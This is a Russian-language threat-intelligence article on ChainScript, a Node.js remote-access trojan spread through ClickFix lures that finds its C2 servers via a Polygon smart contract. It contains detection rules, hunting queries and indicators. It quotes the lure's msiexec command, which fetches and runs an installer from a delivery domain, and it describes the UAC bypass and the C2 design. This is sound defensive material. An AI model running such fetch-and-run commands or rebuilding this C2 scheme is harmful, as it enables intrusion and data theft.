ChainScript RAT: ClickFix атаки используют Polygon блокчейн для C2 инфраструктуры

Исследователи Blackpoint Cyber выявили ранее неизвестный Node.js RAT под названием ChainScript, распространяемый через ClickFix lure и использующий смарт-контракты Polygon для динамического обнаружения command-and-control инфраструктуры. Вредонос маскируется под популярное ПО (Spotify, Zoom, Microsoft Teams) и обходит UAC через user-level MSI установку.

Ключевые особенности: Node.js RAT с модульной архитектурой; EtherHiding-style C2 discovery через Polygon смарт-контракт (Chain ID 137); динамическая ротация WebSocket серверов без перекомпиляции malware; обход UAC через MSI с флагами ALLUSERS=2 и MSIINSTALLPERUSER=1.

⚙️ Механика атаки: от ClickFix до блокчейн C2

ChainScript использует многоступенчатую схему заражения, начинающуюся с социальной инженерии. Жертва сталкивается с ClickFix lure на скомпрометированном сайте или в рекламе, где появляется фейковое сообщение об ошибке с просьбой выполнить команду для "исправления" проблемы.

🎯 Вектор первоначального заражения

  • Социальная инженерия: Пользователь получает инструкцию нажать Win+R и вставить PowerShell команду
  • Доставка MSI: Команда msiexec.exe /i "https://api-configuard[.]com/capher.php?..." загружает вредоносный установщик
  • Обход UAC: Флаги ALLUSERS=2 и MSIINSTALLPERUSER=1 позволяют установку без прав администратора
  • Маскировка: MSI представляется как легитимное ПО от Spotify AB, Zoom Workplace или Microsoft

📦 Процесс установки и persistence

После запуска MSI распаковывает bundled node.exe и вспомогательные скрипты в директории с Microsoft-тематикой:

  • Runtime: %LOCALAPPDATA%\Microsoft\Windows\Libraries\QuickSystemSearch
  • Application: %APPDATA%\Microsoft\Windows\Themes\SettingsHostStandard58
  • Configuration: %LOCALAPPDATA%\Microsoft\Windows\INetCache\FilterManager
  • Helper Tools: %LOCALAPPDATA%\Microsoft\Windows\Shell\Remote\Temp\Primary

Persistence достигается через scheduled task ComponentTask33Agent, который запускает wscript.exe //B для скрытого выполнения ._agent.vbs. При неудаче создания задачи используется fallback через HKCU Run key.

🔗 EtherHiding: блокчейн как C2 resolver

Наиболее инновационный аспект ChainScript — использование блокчейн-технологии для C2 discovery. Вместо жестко закодированных IP-адресов или доменов, которые можно быстро заблокировать, malware использует смарт-контракт на Polygon PoS mainnet.

⛓️ Механизм блокчейн-based C2 discovery

Компонент Значение Назначение
Blockchain Polygon PoS (Chain ID 137) Децентрализованная платформа для хранения C2
Contract Address 0xf9099d0d747368cce8C10226CC9AF2bFD4DDbCF4 Смарт-контракт с актуальными C2 адресами
Function Selector 0x4ab7874e Метод для получения WebSocket URL
Cache Duration 5 минут Время кэширования полученного адреса

Процесс discovery работает следующим образом:

  1. Чтение конфигурации: Agent загружает HiddenVirtualSilentLoader.dat
  2. Декодирование: Base64 decode + XOR с buildSeed из метаданных установщика
  3. Blockchain query: eth_call к смарт-контракту с selector 0x4ab7874e
  4. Получение URL: Контракт возвращает ABI-encoded строку с WebSocket endpoint
  5. Валидация: Проверка префикса ws:// или wss://
  6. Кэширование: Адрес сохраняется на 5 минут

Преимущества для атакующих: Смарт-контракт был развернут всего за 23 секунды до генерации MSI установщика, что подтверждает полную интеграцию блокчейн-развертывания в automated malware build pipeline. Во время тестирования контракт динамически перенаправлял агентов с shift-api-control[.]com:3847 на bedotiq[.]net:3854 после сброса сервера.

🔄 Динамическая ротация инфраструктуры

Блокчейн-based подход позволяет операторам ChainScript мгновенно менять backend инфраструктуру без необходимости:

  • Перекомпиляции malware
  • Распространения новых версий агентов
  • Обновления конфигурационных файлов
  • Обхода blacklist'ов (блокчейн нельзя заблокировать)

Наиболее часто используемые порты: 3847, 3851, 3854. Наблюдаемые домены включают kerosand[.]net, shift-api-control[.]com, moweros[.]net, bedotiq[.]net, giperon[.]net.

🛡️ Возможности RAT и протокол коммуникации

ChainScript представляет собой полнофункциональный RAT с широким спектром возможностей для контроля над зараженной системой.

💻 Функциональные возможности

  • Интерактивные сессии: CMD и PowerShell сессии в реальном времени
  • Файловые операции: Browse, upload, download файлов
  • Скриншоты: Захват экрана через SearchTrustedRuntimeSvc.exe
  • Деплой payload: Загрузка и выполнение дополнительных вредоносов
  • Wallet discovery: Поиск криптовалютных кошельков на системе
  • Remote JavaScript: Выполнение произвольного JS кода
  • Self-update: Автоматическое обновление агента
  • Cleanup: Удаление следов активности

📡 Протокол WebSocket коммуникации

После подключения к C2 серверу через WebSocket, агент аутентифицируется с использованием заголовка X-Agent-Token и регистрирует систему, отправляя:

  • Hostname и Windows MachineGuid (для уникальной идентификации)
  • Username и архитектуру системы
  • Uptime, объем памяти, количество CPU
  • Локальный IPv4 адрес
  • Информацию о домене или рабочей группе

Протокол поддерживает следующие типы сообщений:

Направление Типы сообщений
Inbound (от C2) command, shell, ping, files
Outbound (к C2) heartbeat, pong, command_result, shell, wallet_report

Heartbeat интервал составляет 12 минут, reconnect delay — 15 секунд. Request IDs связывают команды оператора с соответствующими результатами выполнения.

🔍 Детекция и mitigation стратегии

Обнаружение ChainScript требует многоуровневого подхода, сочетающего поведенческий анализ, hunting queries и блокировку известных IOCs.

🎯 Sigma rule для детекции

title: ChainScript RAT Execution Chain via MSI and WScript
status: experimental
description: Detects msiexec installing user-level components that spawn wscript and node.exe from user profile directories
logsource:
    category: process_creation
    product: windows
detection:
    selection_wscript:
        Image|endswith: 'wscript.exe'
        CommandLine|contains:
            - '._agent.vbs'
            - 'SettingsHostStandard58'
            - 'QuickSystemSearch'
    selection_node:
        Image|endswith: 'node.exe'
        CommandLine|contains:
            - 'appsrcindex.js'
            - 'ComponentTask33'
            - 'UpdateDigital'
    condition: selection_wscript or selection_node
level: critical

📊 KQL hunting query для Microsoft Defender

// Hunt for ChainScript scheduled task persistence and Node execution
let SuspiciousNodes = DeviceProcessEvents
| where FileName =~ "node.exe"
| where ProcessCommandLine has_any ("appsrcindex.js", "QuickSystemSearch", "SettingsHostStandard58")
| project Timestamp, DeviceName, ActionType, FileName, ProcessCommandLine, InitiatingProcessCommandLine, AccountName;

let SuspiciousTasks = DeviceProcessEvents
| where FileName =~ "schtasks.exe"
| where ProcessCommandLine has_all ("/create", "wscript.exe", "._agent.vbs")
| project Timestamp, DeviceName, ActionType, FileName, ProcessCommandLine, AccountName;

union SuspiciousNodes, SuspiciousTasks
| sort by Timestamp desc

🚫 Сетевые блокировки

Немедленно заблокируйте на perimeter firewall и DNS sinkhole:

  • Delivery domain: api-configuard[.]com
  • C2 domains: shift-api-control[.]com, bedotiq[.]net, kerosand[.]net, moweros[.]net, giperon[.]net
  • IP addresses: 176.65.144[.]127, 176.65.144[.]40
  • Ports: 3847, 3851, 3854

Важно: Инфраструктурные IOCs (домены, IP, контракты) имеют короткий срок жизни из-за динамической ротации. Фокусируйтесь на поведенческих паттернах и host artifacts для долгосрочной детекции.

✅ Рекомендации по защите

  • Ограничьте ClickFix векторы: Отключите Windows Run dialog для пользователей, которым он не нужен; ограничьте user-initiated MSI installation
  • Обучение пользователей: Любые сайты, запрашивающие Win+R, вставку команд или выполнение PowerShell — подозрительны
  • Hunt execution chain: Ищите msiexec.exe → wscript.exe → ._agent.vbs → node.exe appsrcindex.js
  • Detect persistence: Мониторьте node.exe, запускающий PowerShell для создания scheduled tasks
  • Коррелируйте активность: Неожиданный Polygon/EVM RPC доступ + outbound WebSocket от node.exe = высокий риск

📋 Ключевые IOCs для retrohunting

Тип Индикатор SHA-256
MSI (Spotify) ComponentTask33-4d14e6ac.msi 20a9e297220fe4cb9f939eaa82582c6e9a8f6dd4424635206dec08fa1986b8fa
MSI (Spotify) UpdateDigital-0c3c5204.msi 6e07d2de3618bb92265248653361ff39c63c0cfba2f4aa2538b3128fa9ce3a50
MSI (Zoom) HostShared-1a5b7e17.msi bad0600a850436154f8d7b6f7a191dc45bd136897780cd032b336cb4b358d241
MSI (Teams) OrchidViolet66-5595bc08.msi 496c202abf53984164f5f319a72b02c8e06016d0f35681353ef07db8e6d1b31f
Helper binary ProfileQuickHost.exe 9fa80577b8b3cb9c3062e5e1986cc9fe0c26eed023f7d430dfa5c60169c15c45
Screenshot helper SearchTrustedRuntimeSvc.exe 7969ccaf1db750bc3b02d51626d6916ecbd0c0cf2f7de3c7bc0be240f5f2978d

ChainScript демонстрирует эволюцию commodity malware, где атакующие комбинируют легитимные runtime'ы (Node.js) с децентрализованной Web3 инфраструктурой для создания устойчивых к takedown C2 каналов. Использование блокчейна для C2 discovery представляет значительный вызов для традиционных подходов к threat intelligence и требует адаптации стратегий детекции.

«Безопасность — это не продукт, а процесс. Когда атакующие используют блокчейн для C2, защитники должны думать так же децентрализованно и адаптивно».

— Брюс Шнайер, эксперт по кибербезопасности

22.09.2026, 01:03